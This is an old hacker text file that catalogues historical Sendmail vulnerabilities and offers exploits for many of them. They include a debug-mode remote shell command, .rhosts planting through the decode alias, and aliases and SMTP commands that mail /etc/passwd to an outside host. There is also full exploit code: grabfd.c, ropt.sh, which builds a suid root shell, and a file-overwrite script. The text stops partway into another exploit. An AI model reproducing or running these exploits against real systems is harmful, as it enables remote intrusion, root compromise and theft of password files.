|
Sendmail, known as the buggiest daemon on earth has a
history of having A large number of bugs. In this text, I
have made a list of known Sendmail holes. Of course, the
list is not complete, but it's an example of how many bugs
Sendmail has had over the years. I also recommend that you
read the Sendmail security tutorial at
http://blacksun.box.sk in order to get a better view of what
exactly is Sendmail.
-----------------------------------------------------------------------
Hole
Version of Sendmail
-----------------------------------------------------------------------
= WIZ = *oLD*
= DEBUG = *oLD*
= TURN = *oLD*
= OVERFLOW INPUT BUFFER = *oLD*
= DECODE ALIAS = *VrFy*
= qf SunOS = *SunOS-sendmailV5.1*
= -oR SunOS = *SunOS-sendmailV5.22*
= -oM = *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*
= OVERWRITE FILES = *FiXED iN 5.59*
= -oQ = *DuNNo*
= |PROGRAM = *TeSTeD oN 5.55*
= .forward = *5.61*
= TAIL = *TeSTeD oN 5.65*
= -C = *oLD*
= 4.1 = *TeSTeD oN 4.1*
= -d########### = *8.X.X <8.6.7*
= -oE/filename bounce= *8.6.7*
= 8.6.9 ident = *8.6.9*
= 8.6.9 newlines = *8.6.9*
= 8.6.10 ident/newlines = *8.6.10*
= HP-UX = *HP-UX 9.x*
= 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12*
= mime7to8() = *8.8.0*
= smtpd = *8.7-8.8.2*
=Local DOS= *Upto 8.9.3*
=Buggy Helo Command= *8.8.8*
=Gaint Sendmail Bug= *8.8.4*
-----------------------------------------------------------------------
WIZ = *oLD* =
The oldest and easiest hole in sendmail is the 'wiz'
backdoor, now very difficult to find. At the connect just
type 'wiz' and then 'SHELL' ,and you're in a root shell. [
it can be set by configuring sendmail.cf file ... 'OW'
option immediately followed by the encrypted password ]
DEBUG = *oLD* =
This bug was used by the inet worm by Robert T. Morris Jr.
Its exploiting allows anyone to execute any program on a
remote machine. It simply consists in giving the 'debug'
command, use a pipe to /bin/sh as recipient and feed the
data with the commands you want to be executed on the remote
machine.
[ If sendmail server answers with "200 Debug set" to the
'debug' command there are good chances the bug is still
present ]
Example :
#!/bin/sh
telnet << EOF
open fucked.host.edu 25
debug
mail from: </dev/null>
rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
data
cp /bin/sh /tmp/sushi # or alternatively:
chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts
.
EOF
TURN = *oLD* =
TURN command allows mail to be stolen ... [ Don't bother,
old stuff! ]
OVERFLOW INPUT BUFFER = *oLD* =
Cause the sendmail deamon to lock up ... [ old stuff! Just
for collection
;) ]
DECODE ALIAS = *VrFy* =
If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can
send mail to decode, write to any file onwed by daemon, if
they can connect to sendmail daemon, can write to any file
owned by any user.
To test the existence of decode alias from a sendmail
connection do:
% telnet target.com
Trying 127.127.127.127
Connected to target.com
Escape character is '^]'.
220 target.com Sendmail Sendmail 5.55/victim ready at Fri,
6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
1SecExploit:
% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail
decode@target.com
MoreThan1SecExploit:
% cat > outfile # Let's make our .rhosts file
+ +
^C
% uuencode outfile /usr/bin/.rhosts
begin 644 /bin/.rhosts
$*R'K"O\
% telnet fuqdhost.com 25
220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13
May 99 00:00 (EST)
VRFY decode
250 <|/usr/bin/uudecode>
MAIL FROM: bin
250 ... Sender Okay
RCPT TO: decode
250 ... Recipient Okay
DATA
354 Enter mail, end with "." on a line by itself
begin 644 /bin/.rhosts
$*R'K"O\ # which is just "+ +" uuencoded
end
.
250 Mail accepted
quit
221 fuqdhost.com closing connection
Connection closed by foreign host.
% rlogin fuqdhost.com -l bin
$
If no home directories are known or writable, an
interesting variation of this is to create a bogus
/etc/aliases.pag file that contains an alias with a command
you wish to execute on your target. This may work since on
many systems the aliases.pag and aliases.dir files, which
control the system's mail aliases, are writable to the
world.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail
decode@victim.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com <
/dev/null
qf SunOS = SunOS-sendmailV5.1 =
The method used by sendmail version 5 to open a control
file [/usr/spool/mqueue/qf########] is unsecure. A race
condition exists whereby another process may obtain a
control-file file descriptor, opened for write access.
Sendmail v5, during execution, sets umask(0), which is an
insecure mask. In order not to leave open control files
with mode 666, sendmail v5 uses chmod(2) to set a secure
file mode. However this is a race condition, as we can
obtain an open file descriptor for write by opening the
control file before the call to chmod(2).
IMPACT: Local users can write their own control files, and
run programs
as any user, bar root.
EXPLOIT:
grabfd.c:
/*
* grabfd.c
* usage: grabfd username command-file
*
* username: user to execute 'command-file' as.
* command-file: file containing 10 lines of shell commands
to execute.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <sys/param.h>
#ifndef SENDMAIL
#define SENDMAIL "/usr/lib/sendmail"
#endif
#ifndef SPOOL_DIR
#define SPOOL_DIR "/usr/spool/mqueue"
#endif
char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
main(argc,argv)
int argc;
char **argv;
{
int pid, fd;
char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
if (argc != 3) {
(void)fprintf(stderr, "%s: user file\n",
argv[0]);
exit(1);
}
if (getpwnam(argv[1]) == NULL)
(void)fprintf(stderr, "%s: user %s unknown (error
ignored)\n",
argv[0],
argv[1]);
if (access(argv[2], F_OK) == -1) {
(void)fprintf(stderr, "%s: %s does not exist.\n",
argv[0],
argv[2]);
exit(1);
}
if (access(SPOOL_DIR, X_OK) == -1) {
(void)fprintf(stderr, "%s: cannot access %s.\n",
argv[0],
SPOOL_DIR);
exit(1);
}
if (pid=fork()) {
if (pid == -1) {
(void)perror("fork");
exit(1);
}
(void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
(void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
for (;;)
if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
(void)printf("%s: grabbed queue fd.\n",
argv[0]);
(void)wait();
(void)ftruncate(fd, 0);
(void)write(fd, sysbuf, strlen(sysbuf));
(void)close(fd);
if(execl(SENDMAIL,
"sendmail", "-q", (char *)0) == -1) {
(void)perror("execl");
exit(1);
};
}
} else {
(void)close(0);
if (open("/etc/motd", O_RDONLY, 0) == -1) {
(void)perror("open");
exit(1);
};
if (execl(SENDMAIL,
"sendmail",
#ifdef sun
"-os",
#endif
"-odq", getlogin(), (char *)0) == -1) {
(void)perror("execl");
exit(1);
};
}
exit(1);
}
::::::::::::::::::::::::::::::::: END OF HOLE
::::::::::::::::::::::::::::
-oR SunOS = SunOS-4.1.X-sendmail V5.22 =
From 8lgm:
DESCRIPTION: The -oR option uses popen() to return
undeliverable mail.
IMPACT: Local users can obtain root access.
-------------------------- ropt.sh
---------------------------------------
#!/bin/sh
#
# Syntax: roption host
#
# host is any system running sendmail (except localhost).
#
# This exploits a flaw in SunOS sendmail(8), and attempts
# create a suid root shell
#
# Written 1995 by [8LGM]
# Please do not use this script without permission.
#
PROG="`basename $0`"
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
# Check args
if [ $# -ne 1 ]; then
echo "Syntax: $PROG host"
exit 1
fi
# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
PROG="`basename $0`"
EXECME=/tmp/HotterThanMojaveInMyHeart
# Create EXECME.c
cat > $EXECME.c << 'EOF'
main(argc,argv)
int argc;
char *argv[];
{
chown("/tmp/InfamousAngel", 0, 0);
chmod("/tmp/InfamousAngel", 04755);
}
EOF
cc -o $EXECME $EXECME.c
# Check we have EXECME
if [ ! -x $EXECME ]; then
echo "$PROG: couldnt compile $EXECME.c - check it out"
exit 1
fi
/bin/cp /bin/sh /tmp/InfamousAngel
# Run sendmail
/usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
To: No1InParticular
Hows it goin
EOF
exec /tmp/InfamousAngel
................................ Cut HeRe
...................................
-oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =
Sun sendmail allows -oM to set any macro, and still retains
root privilege.
( The list of 'trusted' macros should be limited. )
At time of writing (Dec 1994) affected sendmail were: "
SunOS 4.x Sendmail
- all versions including latest 4/5/94 Sendmail Jumbo Patch
100377-15 "
After further investigation, it has been discovered that
SVR4 based ports include sendmail(8) based on SMI code.
EXPLOIT:
1. Create the file sunsendmailcp
8>------------------------- cut here
---------------------------
#!/bin/sh
#
# sunsendmailcp from to
if [ $# -ne 2 ]; then
echo usage: `basename $0` from to
exit 1
fi
rm -f /usr/tmp/dead.letter
if [ -f /usr/tmp/dead.letter ]; then
echo sorry, cant continue - /usr/tmp/dead.letter exists
fi
if [ ! -r $1 ]; then
echo $1 doesnt exist or is unreadable
exit 1
fi
ln -s $2 /usr/tmp/dead.letter
/usr/lib/sendmail -L0 '-oM#anything' $USER < $1
rm /usr/tmp/dead.letter
exit 0
8>------------------------- cut here
---------------------------
2. Execute the command % ./sunsendmailcp sourcefile
targetfile and target file will either be appended to or
created.
OVERWRITE FILES = FiXED iN 5.59 =
Remote users are able to write to any non-root owned files
in the system. This bug was definitely fixed in version
5.59 from Berkeley; despite the messages below, for versions
of sendmail previous to 5.59, the "evil.com" gets appended,
despite the error messages, along with all of the typical
mail headers, to the file specified:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
'-oQ' = DuNNo =
This bug involves the '-q' and the '-oQ' options and causes
any file to be deleted and read. You should create a
'qf'-type file, in the /usr/spool/mqueue dir, like this:
P28
T599831504
Dfilename
Suser
Ruser
H?P?return-path:
H?F?from: user (User Name)
H?x?full-name: User Name
HTo: user
Hsubject: Gotcha
after the command `sendmail -q -oQ' is issued, file
`filename' will be deleted and its content will be mailed
to 'user'.
- - - - The 'oQ' sets the 'Q' option ,which selects the dir
in which to queue messages The 'q' make the daemon to
process the queue - - - -
'|PROGRAM ' = TeSTeD oN 5.55 = ...may be others
Anyone can specify arbitrary shell commands and/or
pathnames for the sender and/or destination address. A
typical attack to get the password file is:
% telnet target.com 25
Trying 123.456.789.0...
Connected to target.com
Escape character is '^]'.
220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
mail from: "|/bin/mail me@myhost.com < /etc/passwd"
250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
rcpt to: mickeymouse
550 mickeymouse... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
%
.forward = 5.61 =
When delivering to files and programs, `sendmail' does not
do an `initgroups(3)' after forking on final delivery. As a
result, the sender's group list remains in effect throughout
this stage. This is particularly serious when root is
sending the mail since a program executed out of a
`.forward' file gains interesting privileges like `wheel'
and `kmem'. A related hole can be broken down into a
"problem" and an "aggravation". The "problem" is that
queued local mail no longer has the original recipient's uid
associated with it. Control files only store a list of
exploded recipients (i.e. users, files and programs) -- one
per line - - each prefaced with an `R'.
So, after an address resolves to the local machine and has
undergone alias and ".forward" expansion, if the letter
happens to get queued, on the succeeding queue run sendmail
doesnt know who to run the final delivery as. The
"aggravation" is that, when doing this final delivery of
queued local mail, sendmail will `setuid()' itself to the
sender's uid if it is available; in general, the sender's
uid will be used when the sender is on the local machine.
As a result, a user can run a program as anyone who sends
them mail from the local machine. There is also an added
"complication"; the default uid and gid are also set to the
sender when delivering mail! Since the default uid and gid
are only used when calling `setuid()' and `setgid()' (to
reset the uid/gid before doing final delivery), these
variables should never be set to the sender.
|------------------------------ Local compromise
------------------------------|
Save the following program as "sploit.c" changing MYUID to
your user id. Compile "sploit.c" producing the executable
"sploit" in your home directory. Create a ".forward" file
containing:
\<user>, "|<path>/sploit"
[change to your username so you dont lose mail (unless, of
course, you'd rather lose mail) and set <path> to your home
directory path (where sploit lives)] Now, as another user,
send yourself some mail. Note that the sploit program
defers delivery the first time thru; check out "/tmp/whoami"
to see that sploit ran as you. Now, run your mail queue (or
open a beer and wait for sendmail to run it). After the
queue run, note that the sploit accepted the letter and
returned a successful exit status; check out "/tmp/whoami"
again to see that this time, sploit ran as the sender! You
can also use "sploit.c" to test for the root initgroups()
hole by checking the group list when "sploit" was first
called.
#include <sys/param.h>
#include <sys/types.h>
#include <stdio.h>
#include <sysexits.h> |